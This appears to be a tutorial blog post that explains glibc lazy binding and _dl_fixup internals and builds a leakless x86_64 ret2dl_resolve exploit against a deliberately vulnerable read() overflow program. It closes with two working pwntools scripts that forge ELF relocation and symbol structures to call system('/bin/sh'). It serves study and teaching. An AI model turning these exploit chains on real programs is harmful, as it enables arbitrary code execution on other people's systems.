In this article, we will start analyzing the lazy binding process, we will proceed dissecting dl-runtime, understanding when it is possible to use this technique without a leak, and finally we will build our exploit.

The Lazy Binding

When a program is executed in Linux, as default behavior, the dynamic linker resolves references to symbols in the shared libraries only when it is needed. In other words, the program doesn’t know the address of a specific function in a shared library, until this function is actually utilized.

The process of resolving symbols in run-time, is known as lazy binding.

This behavior can also be modified: the dynamic linker can be forced into performing all relocations at program startup, exporting the LD_BIND_NOW environment variable. As we can see in ld.so man page:

LD_BIND_NOW (since glibc 2.1.1)
    If set to a nonempty string, causes the dynamic linker to
    resolve all symbols at program startup instead of deferring
    function call resolution to the point when they are first ref‐
    erenced.  This is useful when using a debugger.

Two of the most important sections involved in the lazy binding process, are respectively called Procedure Linkage Table (PLT) and Global Offset Table (GOT).

The PLT section, contains executable code and consists of well-defined format stubs. These stubs can be distinguish in a default stub and a series of function stubs. As we can see from the objdump output, we have a default stub at 0x401020 followed by a function stub (read() in this case) at 0x401030.

objdump -d poc -j .plt -M intel

Disassembly of section .plt:

0000000000401020 <.plt>:
    401020:   ff 35 e2 2f 00 00       push   QWORD PTR [rip+0x2fe2]  # 404008 <_GLOBAL_OFFSET_TABLE_+0x8>
    401026:   ff 25 e4 2f 00 00       jmp    QWORD PTR [rip+0x2fe4]  # 404010 <_GLOBAL_OFFSET_TABLE_+0x10>
    40102c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000401030 <read@plt>:
    401030:   ff 25 e2 2f 00 00       jmp    QWORD PTR [rip+0x2fe2]  # 404018 <read@GLIBC_2.2.5>
    401036:   68 00 00 00 00          push   0x0
    40103b:   e9 e0 ff ff ff          jmp    401020 <.plt>

The GOT is a data section and it is populated in run-time with the addresses of resolved symbols. It also contains important addresses that will be used in the symbols resolution process: the link_map structure address and the _dl_runtime_resolve address, which we will cover shortly.

objdump -d poc -j .got.plt -M intel -z

Disassembly of section .got.plt:

0000000000404000 <_GLOBAL_OFFSET_TABLE_>:
    404000:   20 3e 40 00 00 00 00 00 00 00 00 00 00 00 00 00      >@.............
    404010:   00 00 00 00 00 00 00 00 36 10 40 00 00 00 00 00     ........6.@.....

Let’s see what happens when read() is called:

lazy\_binding

  1. From the .text section, instead of calling read directly, there is a call to the corresponding function stub in the .plt section (0x401030).

  2. From here, there is an indirect jump to the .got.plt section (0x404018). Since the symbol has not been resolved yet, this address contains the address of the next instruction in the function stub (0x401036).

  3. At this point, the execution flow is redirected to the next instruction in the function stub. Here, reloc_arg is pushed on the stack.

  4. The last instruction in the function stub is an indirect jump to the default stub (0x401020). Here the link_map address is pushed on the stack and finally the control is transfered to _dl_runtime_resolve().

We will talk about reloc_arg and link_map in the next section.

_dl_runtime_resolve() is defined in dl-trampoline.S and its definition is followed by the inclusion of dl-trampoline.h.

Using gdb, we can immediately understand what it does:

0x7ffff7fe93c0 <_dl_runtime_resolve_xsave>:       push   rbx
0x7ffff7fe93c1 <_dl_runtime_resolve_xsave+1>:     mov    rbx,rsp
0x7ffff7fe93c4 <_dl_runtime_resolve_xsave+4>:     and    rsp,0xffffffffffffffc0
0x7ffff7fe93c8 <_dl_runtime_resolve_xsave+8>:     sub    rsp,QWORD PTR [rip+0x13379] // 0x7ffff7ffc748 <_rtld_global_ro+232>
0x7ffff7fe93cf <_dl_runtime_resolve_xsave+15>:    mov    QWORD PTR [rsp],rax
0x7ffff7fe93d3 <_dl_runtime_resolve_xsave+19>:    mov    QWORD PTR [rsp+0x8],rcx
0x7ffff7fe93d8 <_dl_runtime_resolve_xsave+24>:    mov    QWORD PTR [rsp+0x10],rdx
0x7ffff7fe93dd <_dl_runtime_resolve_xsave+29>:    mov    QWORD PTR [rsp+0x18],rsi
0x7ffff7fe93e2 <_dl_runtime_resolve_xsave+34>:    mov    QWORD PTR [rsp+0x20],rdi
0x7ffff7fe93e7 <_dl_runtime_resolve_xsave+39>:    mov    QWORD PTR [rsp+0x28],r8
0x7ffff7fe93ec <_dl_runtime_resolve_xsave+44>:    mov    QWORD PTR [rsp+0x30],r9
0x7ffff7fe93f1 <_dl_runtime_resolve_xsave+49>:    mov    eax,0xee
0x7ffff7fe93f6 <_dl_runtime_resolve_xsave+54>:    xor    edx,edx
0x7ffff7fe93f8 <_dl_runtime_resolve_xsave+56>:    mov    QWORD PTR [rsp+0x240],rdx
0x7ffff7fe9400 <_dl_runtime_resolve_xsave+64>:    mov    QWORD PTR [rsp+0x248],rdx
0x7ffff7fe9408 <_dl_runtime_resolve_xsave+72>:    mov    QWORD PTR [rsp+0x250],rdx
0x7ffff7fe9410 <_dl_runtime_resolve_xsave+80>:    mov    QWORD PTR [rsp+0x258],rdx
0x7ffff7fe9418 <_dl_runtime_resolve_xsave+88>:    mov    QWORD PTR [rsp+0x260],rdx
0x7ffff7fe9420 <_dl_runtime_resolve_xsave+96>:    mov    QWORD PTR [rsp+0x268],rdx
0x7ffff7fe9428 <_dl_runtime_resolve_xsave+104>:   mov    QWORD PTR [rsp+0x270],rdx
0x7ffff7fe9430 <_dl_runtime_resolve_xsave+112>:   mov    QWORD PTR [rsp+0x278],rdx
0x7ffff7fe9438 <_dl_runtime_resolve_xsave+120>:   xsave  [rsp+0x40] // Save current processor state
0x7ffff7fe943d <_dl_runtime_resolve_xsave+125>:   mov    rsi,QWORD PTR [rbx+0x10] // reloc_arg
0x7ffff7fe9441 <_dl_runtime_resolve_xsave+129>:   mov    rdi,QWORD PTR [rbx+0x8] // link_map
0x7ffff7fe9445 <_dl_runtime_resolve_xsave+133>:   call   0x7ffff7fe2a20 <_dl_fixup> // _dl_fixup(link_map, reloc_arg)

As we can see, it is nothing more than a trampoline to _dl_fixup(). It starts saving the current processor state, then moves reloc_arg in the RSI, link_map in the RDI (Following the x86_64 Linux calling conventions AMD64 ABI) and calls _dl_fixup().

PS: The second instruction, moves RSP in RBX, this way QWORD PTR [rbx+0x10] and QWORD PTR [rbx+0x8], before calling _dl_fixup(), point respectively to reloc_arg and link_map, previously pushed on the stack.

Dissecting dl-runtime

Before starting our analysis, we need to introduce three more important sections: JMPREL (.rela.plt), DYNSYM (.dynsym) and STRTAB (.dynstr). (PS: .dynsym is the analogous to .symtab, but it contains information about dynamic linking rather than static linking. This also applies to .dynstr and .strtab)

readelf --sections ./poc | egrep "Name|.rela.plt|.dynsym|.dynstr"

    [Nr] Name              Type             Address           Offset
    [ 5] .dynsym           DYNSYM           0000000000400328  00000328
    [ 6] .dynstr           STRTAB           0000000000400388  00000388
    [10] .rela.plt         RELA             0000000000400420  00000420

JMPREL (.rela.plt): It contains information used by the linker to perform relocations. It is composed by 0x18-byte aligned Elf64_Rel structures.

elf64\_rel

  • r_offset: It contains the location where the address of the resolved symbol will be stored (In the GOT).
  • r_info: Indicates the relocation type and acts as a symbol table index. It will be used to locate the corresponding Elf64_Sym structure in the DYNSYM section.

DYNSYM (.dynsym): It contains a symbol table. It is composed by 0x18-byte aligned Elf64_Sym structures. Each structure associates a symbolic name with a piece of code elsewhere in the binary.

elf64\_sym

  • st_name: It acts as a string table index. It will be used to locate the right string in the STRTAB section.
  • st_info: It contains symbol’s type and binding attributes.
  • st_other: It contains symbol’s visibility.
  • st_shndx: It contains the relevant section header table index.
  • st_value: It contains the value of the associated symbol.
  • st_size: It contains the symbol’s size. If the symbol has no size or the size is unknown, it contains 0.

STRTAB (.dynstr): The strings containing the symbolic names are located here.

strtab

Now we can start our analysis. _dl_fixup is defined in dl-resolve.c as follow:

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_dl_fixup (

# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
        ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
        struct link_map *l, ElfW(Word) reloc_arg  ){

const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);
const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation.  */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol.  If the normal lookup rules are not
    used don't look in the global scope.  */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
    const struct r_found_version *version = NULL;

    if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    {
        const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
        ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
        version = &l->l_versions[ndx];
        if (version->hash == 0)
        version = NULL;
    }

    int flags = DL_LOOKUP_ADD_DEPENDENCY;
    if (!RTLD_SINGLE_THREAD_P)
    {
        THREAD_GSCOPE_SET_FLAG ();
        flags |= DL_LOOKUP_GSCOPE_LOCK;
    }

#ifdef RTLD_ENABLE_FOREIGN_CALL
        RTLD_ENABLE_FOREIGN_CALL;
#endif

    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                    version, ELF_RTYPE_CLASS_PLT, flags, NULL);

    /* We are done with the global scope.  */
    if (!RTLD_SINGLE_THREAD_P)
        THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
    RTLD_FINALIZE_FOREIGN_CALL;
#endif

    /* Currently result contains the base load address (or link map)
        of the object that defines sym.  Now add in the symbol
        offset.  */
    value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
    }
else
    {
    /* We already found the symbol.
        the module (and therefore its load address) is also known. */
    value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS (l, sym, true));
    result = l;
    }

/* And now perhaps the relocation addend.  */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
    value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself.  */
if (__glibc_unlikely (GLRO(dl_bind_not)))
    return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

}

[...]

We can see at line 8, that the function accepts two arguments:

struct link_map *l, ElfW(Word) reloc_arg 

These are the arguments that have been previously pushed on the stack and then moved respectively in RDI and RSI.

link_map is an important structure that contains all sort of information about a loaded shared object. The linker creates a linked list of link_maps and each link_map structure describes a shared object.

reloc_arg will be used as index to identify the corresponding Elf64_Rel in the JMPREL section.

At line 10, a pointer to the STRTAB section is defined:

const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);

l_info (that is located at &link_map + 0x40 and points to the dynamic section), accepts a tag as index, in this case DT_STRTAB, defined as #define DT_STRTAB 5, then is passed as second argument to D_PTR macro.

D_PTR is defined as D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr) if the dynamic section is read only, D_PTR(map, i) (map)->i->d_un.d_ptr otherwise.

It is used to find the d_ptr value in the corresponding Elf64_Dyn structure in the DYNAMIC section (which acts as a sort of “road map” for the dynamic linker).

A Elf64_Dyn structure is defined as follow:

typedef struct{

    Elf64_Sxword    d_tag;    /* Dynamic entry type */
    union
    {
        Elf64_Xword   d_val;  /* Integer value */
        Elf64_Addr    d_ptr;  /* Address value */
    } d_un;

} Elf64_Dyn;

All this results in l->l_info[5]->d_un.d_ptr, the STRTAB address, 0x400388 in our case.

At line 11, a pointer to a Elf64_Rel structure is defined:

    const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

Similarly to the previous line, l_info and D_PTR are used to obtain the JMPREL section address, but here, reloc_offset is added. It corresponds to reloc_arg * sizeof(PLTREL), reloc_arg * 0x18.

We can notice the total absence of upper boundaries checks. This, later on, will allow us to perform the ret2dl_resolve attack, providing a large reloc_arg to dl_fixup().

At line 12, a pointer to a Elf64_Sym stucture is defined:

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

To better understand this line, we need to follow some definitions. ElfW(type) is defined as:

#define ElfW(type)        _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t)      _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t)    e##w##t

This means that:

ElfW(R_SYM) =
_ElfW(Elf, __ELF_NATIVE_CLASS, R_SYM) =
_ElfW_1(Elf, 64, _R_SYM) =
Elf64_R_SYM

and ELF64_R_SYM(i) is defined as: ELF64_R_SYM(i) ((i) >> 32), so we can read the line 12 as:

const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];

Basically it is using reloc->r_info >> 32 as index, to find the corresponding Elf64_Sym structure in the SYMTAB section.

At line 14, we have:

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

rel_addr is a pointer to the location where the resolved symbol will be stored (in the GOT).

At line 20, there’s an important check:

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

Elf64_R_TYPE is defined as ELF64_R_TYPE(i) ((i) & 0xffffffff) and ELF_MACHINE_JMP_SLOT is defined as R_X86_64_JUMP_SLOT that is equal to 7.

So line 20 is nothing more than:

assert ((reloc->r_info & 0xffffffff) == 0x7);

Basically it is checking if reloc->r_info is a valid JUMP_SLOT.

At line 24, there’s another check:

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

ELF64_ST_VISIBILITY corresponds to ELF32_ST_VISIBILITY(o) ((o) & 0x03), so line 24 is equal to:

if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)

If the check is not satisfied, the symbol is considered already resolved, otherwise the code inside the “if” statement is executed. It starts with a symbol versioning check at line 28:

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

VERSYMIDX is defined as:

#define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX(sym))

DT_VERSYM, DT_NUM, DT_THISPROCNUM, DT_VERNEEDNUM and DT_VERSIONTAGIDX correspond to:

#define DT_VERSYM   0x6ffffff0
#define DT_NUM    35    /* Number used */
#define DT_THISPROCNUM    0
#define DT_VERNEEDNUM   0x6fffffff    /* Number of needed versions */
#define DT_VERSIONTAGIDX(tag)   (DT_VERNEEDNUM - (tag))   /* Reverse order! */

So VERSYMIDX(DT_VERSYM) is equal to:

VERSYMIDX(0x6ffffff0) =
(DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX(0x6ffffff0)) =
(35 + 0 + DT_VERSIONTAGIDX(0x6ffffff0)) =
(35 + (0x6fffffff - 0x6ffffff0)) =
(35 + 0xf) = 0x32

Consequently we have:

&l (link_map address) + 0x40 (l_info off) + VERSYMIDX(0x6ffffff0) * 0x8 (address size) =
&l + 0x40 + 0x32 * 0x8 =
&l + 0x1d0

Therefore, if (&l + 0x1d0) != NULL, and usually it is, for example in our case:

0x7ffff7fe2a81 <_dl_fixup+97>:    mov    r8,QWORD PTR [r10+0x1d0]
0x7ffff7fe2a88 <_dl_fixup+104>:   test   r8,r8

where R10 contains the link_map address and QWORD PTR [r10+0x1d0], moved in in R8, corresponds to the address of the VERSYM tag in the DYNAMIC section:

R8  0x403f80 (_DYNAMIC+352) <-- 0x6ffffff0

the code in the “if” statement is executed:

const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
    version = NULL;

It obtains the VERSYM address using the usual l_info and D_PTR macro, then calculates “ndx” using reloc->r_info >> 32 as index in the VERSYM section. “ndx” is subsequently used as index in l_versions (that is located at &link_map + 0x2e8 and is an array with version names), to obtain the version name.

Mind this point, we will analyze it in gdb in the next section.

Finally, at line 48, _dl_lookup_symbol_x() is called, followed by DL_FIXUP_MAKE_VALUE at line 62 and elf_machine_fixup_plt() at line 82:

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
                                version, ELF_RTYPE_CLASS_PLT, flags, NULL);

_dl_lookup_symbol_x() looks for loaded objects’ symbol table for a definition of the symbol in strtab + sym->st_name. It returns the address of the linkmap structure, and l_addr, the first element in the structure, points to the libc base address.

value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
[...]
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

DL_FIXUP_MAKE_VALUE seeks the offset of the function in the library, relocates it and stores the result in the value variable. To do this, it uses the SYMBOL_ADDRESS macro, defined as:

#define SYMBOL_ADDRESS(map, ref, map_set)                           \
    ((ref) == NULL ? 0                                                \
    : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0            \
        : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)

Where LOOKUP_VALUE_ADDRESS corresponds to:

#define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)

If everything goes well, it will result in:

value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

We can see it in gdb, a couple of instructions after the _dl_lookup_symbol_x() call:

0x7ffff7fe2b1c <_dl_fixup+252>    mov    rax, QWORD PTR [r8]
0x7ffff7fe2b1f <_dl_fixup+255>    add    rax, QWORD PTR [rdx + 8]

In the first instruction, the r8 contains the link_map address, and l_addr is pointing to the libc base address:

R8   0x7ffff7fae000 --> 0x7ffff7deb000 <-- 0x3010102464c457f

In the second instruction, the rdx is pointing to the location of the corresponding Elf64_Sym structure in libc, found using _dl_lookup_symbol_x():

    RDX  0x7ffff7df7cd0 <-- 0xe001200002049

So it moves the libc base address in rax, and then adds to it the value pointed by rdx + 0x8. $rdx + 0x8 = 0x7ffff7df7cd0 + 0x8 = 0x7ffff7df7cd8 and corresponds to the location of the st_value field in the Elf64_Sym structure:

    0x7ffff7df7cd8:  0x00000000000ee550

So we have: rax + QWORD PTR [rdx + 8] = libc base address + st_value = 0x7ffff7deb000 + 0xee550 = 0x7ffff7ed9550, the location of the read() function in libc!

Now that the relocation is complete, elf_machine_fixup_plt() writes the address of the resolved symbol in the location pointed by rel_addr (In the GOT).

Let’s do a quick recap:

  1. _dl_fixup(link_map, reloc_arg) is called.

  2. const PLTREL *const reloc = (const void *) (JMPREL + reloc_offset);

    _dl_fixup(), based on the value of reloc_offset (reloc_arg * 0x18), looks for the corresponding Elf64_Rel structure in .rela.plt.

  3. const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];

    It uses the reloc->r_info >> 32 field in Elf64_Rel struct, as an index to find the corresponding Elf64_Sym structure in the SYMTAB section.

  4. assert ((reloc->r_info & 0xffffffff) == 0x7);

    Using r_info in the Elf64_Rel structure, it ensures it is a valid JUMP_SLOT.

  5. if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)

    Using st_other in the Elf64_Sym structure, it ensures the symbol is not already resolved. (sym->st_other & 3) != 0 means “symbol already resolved”, so we need st_other == 0.

  6. if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

    It performs a symbol versioning check. Usually, this check is satisfied, so it computes “ndx” with ElfW(Half) ndx = vernum[reloc->r_info >> 32] & 0x7fff; and then obtains the version number with version = &l->l_versions[ndx];.

  7. result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

    _dl_lookup_symbol_x(), looks for loaded objects’ symbol tables for a definition of the symbol in strtab + sym->st_name and returns the link_map address. l_addr points to the libc base address.

  8. value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

    DL_FIXUP_MAKE_VALUE() finds the offset of the function from the library base address and relocates it.

  9. return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

    elf_machine_fixup_plt() writes the address of the resolved symbol in the location pointed by rel_addr (In the GOT).

Headache aside, we can move on to the exploitation part.

The Exploit

Now that we know how dl-runtime.c works, write an exploit is relativey easy. We can:

  1. Push a large fake reloc_arg on the stack and then jump on the plt default stub. _dl_fixup() will be called with link_map and the fake reloc_arg as aguments. This way we can make const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); point to a controllable area (bss/heap).

  2. In the fake JMPREL section, we create a fake Elf64_Rel structure with a large fake r_info field. Now we can make const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32] point to the controllable area too.

  3. Creating the fake r_info field, we need to make sure that it ends with 0x7, so the valid jump slot check, assert ((reloc->r_info & 0xffffffff) == 0x7);, is satisfied.

  4. In the fake DYNSYM section, we create a fake Elf64_Sym structure with a fake st_other field set to 0x00. This way the if (__builtin_expect ((sym->st_other & 0x03), 0) == 0) check is satisfied.

  5. In the same Elf64_Sym structure we create a large fake st_name field. This way we can make strtab + sym->st_name point to the controllable area.

  6. Finally, in the fake STRTAB section, we write a null terminated string, for example system\x00. If we did the math correctly, dl_fixup() will resolve the symbol and we will get a shell!

A problem with the x64 architecture arises from:

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
    const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
    ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
    version = &l->l_versions[ndx];
    if (version->hash == 0)
        version = NULL;
}

Let’s assume that the .bss, is mapped at 0x601000, and we decide to use 0x601a00 as starting address of our controllable area.

When we fake the JMPREL section in this area, we need to compute the r_info field in the corresponding fake Elf64_Rel structure. r_info is equal to the distance between our fake .dynsym section and the real SYMTAB, divided by 0x18 (since it will be used as index to identify the corresponding Elf64_Sym structure and the size of each structure is 0x18 bytes): (((fake_dynsym - SYMTAB) / 0x18) << 32) | 0x7, in our case (((0x601a68 - 0x4002b8) / 0x18) << 32) | 0x7 = 0x1565200000007.

The line ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff; will result in ElfW(Half) ndx = vernum[0x1565200000007 >> 32] & 0x7fff;. The problem is that 0x1565200000007 >> 32 = 0x15652, and it is a very large index.

Let’s look at it in gdb:

0x7fd3f92fea8d <_dl_fixup+109>:   mov    rax,QWORD PTR [r8+0x8]
0x7fd3f92fea91 <_dl_fixup+113>:   movzx  eax,WORD PTR [rax+rcx*2]
0x7fd3f92fea95 <_dl_fixup+117>:   and    eax,0x7fff

QWORD PTR [r8+0x8] is a pointer to the VERSYM section, the RCX contains 0x1565200000007 >> 32 = 0x15652. So $rax + $rcx*2 = 0x400356 + 0x15652*2 = 0x42affa. This address points to an invalid memory region, so the binary segfaults.

0x42affa:    Cannot access memory at address 0x42affa

As we can see from this article a common workaround is to leak the link_map address and write a NULL byte at &l + 0x1d0, this way, the if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) check, will not be satisfied and the program will avoid the code in the “if” statement.

Another very interesting solution comes from this article, but it requires a leak too.

Now let’s assume the .bss is mapped at 0x404000 and we decide to use 0x404700 as controllable area, the r_info field in the corresponding fake Elf64_Rel structure will be equal to (((fake_dynsym - SYMTAB) / 0x18) << 32) | 0x7 in this case (((0x404768 - 0x400328) / 0x18) << 32) | 0x7 = 0x2d800000007. In ElfW(Half) ndx = vernum[0x2d800000007 >> 32] & 0x7fff;, 0x2d800000007 >> 32 = 0x2d8 and in:

0x7fd3f92fea8d <_dl_fixup+109>:   mov    rax,QWORD PTR [r8+0x8]
0x7fd3f92fea91 <_dl_fixup+113>:   movzx  eax,WORD PTR [rax+rcx*2]
0x7fd3f92fea95 <_dl_fixup+117>:   and    eax,0x7fff

$rax + $rcx*2 = 0x4003c6 + 0x2d8*2 = 0x400976, will result in a valid pointer:

0x400976:    0x0000000000000000

With my friend FizzBuzz101, we did some tests and we noticed that using the modern GCC versions, the bss is often mapped at 0x40XXXX, for example: gcc 7.4.0 and 8.3.0 on Debian 10, gcc 9.2.1 on Ubuntu 18.04, gcc 8.4.0 and 9.3.0 on Kali 4, and so on.

Under this condition, we can proceed without needing any workaround.

The vulnerable poc I used for this article is really simple:

#include <unistd.h>

void main(void)
{
    char buff[20];
    read(0, buff, 0x90);
}

Compiled using gcc 9.3.0: gcc poc.c -o poc -no-pie

Let’s take a look to the exploit:

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from pwn import *

context.arch = "amd64"
context.log_level = "DEBUG"

p = process("./poc")

def align(addr):
    return (0x18 - (addr) % 0x18)

# Sections
# RWAREA = .bss + N, N >= 0x700, to avoid segfault
RW_AREA = 0x404000 + 0x700 # .bss + 0x700
PLT = 0x401020 # .plt default stub
JMPREL = 0x400420 # .rela.plt section
SYMTAB = 0x400328 # .symtab section
STRTAB = 0x400388 # .strtab section

# Gadgets
pop_rdi = 0x4011ab # pop rdi; ret;
pop_rsi_r15 = 0x4011a9 # pop rsi; pop r15; ret;
leave_ret = 0x401141 # leave; ret;

plt_read = 0x401030
got_read = 0x404018

# Fake .rela.plt
fake_relaplt = RW_AREA + 0x20 # Right after reloc_arg
fake_relaplt += align(fake_relaplt - JMPREL) # Alignment in x64 is 0x18
reloc_arg = (fake_relaplt - JMPREL) / 0x18

debug("Fake .rela.plt starts at: " + hex(fake_relaplt))
debug("reloc_arg is: " + hex(reloc_arg))
debug("Expected fake .rela.plt at: hex(reloc_arg*0x18 + JMPREL) => " + hex(reloc_arg*0x18 + JMPREL))
print("-"*80)

# Fake .symtab
fake_symtab = fake_relaplt + 0x18
fake_symtab += align(fake_symtab - SYMTAB) # Alignment in x64 is 0x18
r_info = (((fake_symtab - SYMTAB) / 0x18) << 32) | 0x7 # | 0x7 to bypass check 4.

debug("Fake .symtab starts at: " + hex(fake_symtab))
debug("r_info is: " + hex(r_info))
debug("Expected fake .symtab at: hex(((r_info >> 32)*0x18) + SYMTAB) => " + hex(((r_info >> 32)*0x18) + SYMTAB)) # *0x18 because it is used as index
print("-"*80)

# Fake .strtab
fake_symstr = fake_symtab + 0x18
st_name = fake_symstr - STRTAB
bin_sh = fake_symstr + 0x8

debug("Fake .symstr starts at: " + hex(fake_symstr))
debug("st_name is: " + hex(st_name))
debug("Expected fake .strtab at: hex(STRTAB + st_name) => " + hex(STRTAB + st_name))
print("-"*80)

# STAGE 1:
# A second call to read() stores the fake structures on the RW_AREA.
# Then, we jump on RW_AREA using stack pivoting
# PS: rdx already contains 0x90, so we can avoid to use ret2csu
stage1 = "A" * 32
stage1 += p64(RW_AREA) # We will pivot here using the leave_ret gadget
stage1 += p64(pop_rdi) + p64(0)
stage1 += p64(pop_rsi_r15) + p64(RW_AREA + 0x8) + p64(0)
stage1 += p64(plt_read) # read(0, RW_AREA + 0x8, 0x90)
stage1 += p64(leave_ret)
stage1 += "X" * (0x90 - len(stage1))

# STAGE 2:
# We send the payload containing the fake structures
stage2 = p64(pop_rdi) + p64(bin_sh)
stage2 += p64(PLT)
stage2 += p64(reloc_arg)

# Fake Elf64_Rel
stage2 += p64(got_read) #r_offset
stage2 += p64(r_info) #r_info

# Align
stage2 += p64(0)*3

# Fake Elf64_Sym
stage2 += p32(st_name)
stage2 += p8(0x12) # st_info,
stage2 += p8(0)  # st_other -> 0x00, bypass check .5
stage2 += p16(0) # st_shndx
stage2 += p64(0) # st_value
stage2 += p64(0) # st_size

# Fake strings
stage2 += "system\x00\x00"
stage2 += "/bin/sh\x00"
stage2 += "X" * (0x90 - len(stage2))

p.sendline(stage1 + stage2)
p.interactive()

As pointed out by FizzBuzz101, we can also avoid to pivot in the stage 1. We can create the fake structures on the bss, call main and overflow again. Here’s his version of the exploit:

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from pwn import *

context.arch = "amd64"

bin = ELF('./poc')
p = process('./poc')

PLT = 0x401020 # .plt section
JMPREL = 0x400420 # .rela.plt section
SYMTAB = 0x400328 # .symtab section
STRTAB = 0x400388 # .strtab section

poprdi = 0x4011ab # pop rdi; ret;
poprsir15 = 0x4011a9 # pop rsi; pop r15; ret;
leave = 0x401141 # leave; ret;

offset = 0x28
read = bin.plt['read']
main = bin.symbols['main']
bss = 0x404000

def wait():
    p.recvrepeat(0.1)

poprdi = 0x4011ab
poprsir15 = 0x4011a9

rbp = bss + 0x900
#need to do math to align reloc_offset and offset to symtab aligns to 0x18
resolvedata = bss + 0x920

reloc_offset = (resolvedata - JMPREL) / 0x18
evilsym = resolvedata + 0x10 #to help fake symtab index align

#32 bit alignment was 0x10 for dl resolve stuff, 64 bit is 0x18 for align, make sure it is all aligned
evil = flat( #faking a ELF64_REL
    resolvedata, #r_offset
    0x7 | ((evilsym + 0x18 - SYMTAB) / 0x18) << 32, #r_info
    0, 0, 0, #alignment here
    evilsym + 0x40 - STRTAB, 0, 0, 0, 0,
    'system\x00\x00',
    '/bin/sh\x00'
    )

#gonna need rbp to be above the bare minimum because stack does operations there, trigger a read here
payload = 'A' * offset + p64(poprdi) + p64(0) + p64(poprsir15) + p64(resolvedata) + p64(0) +p64(read) + p64(main) 
p.sendline(payload)
wait()
p.sendline(evil)
ropnop = 0x000000000040109f
payload = 'A' * offset + p64(poprdi) +  p64(0x404978) + p64(PLT) + p64(reloc_offset)
wait()
p.sendline(payload)
p.interactive()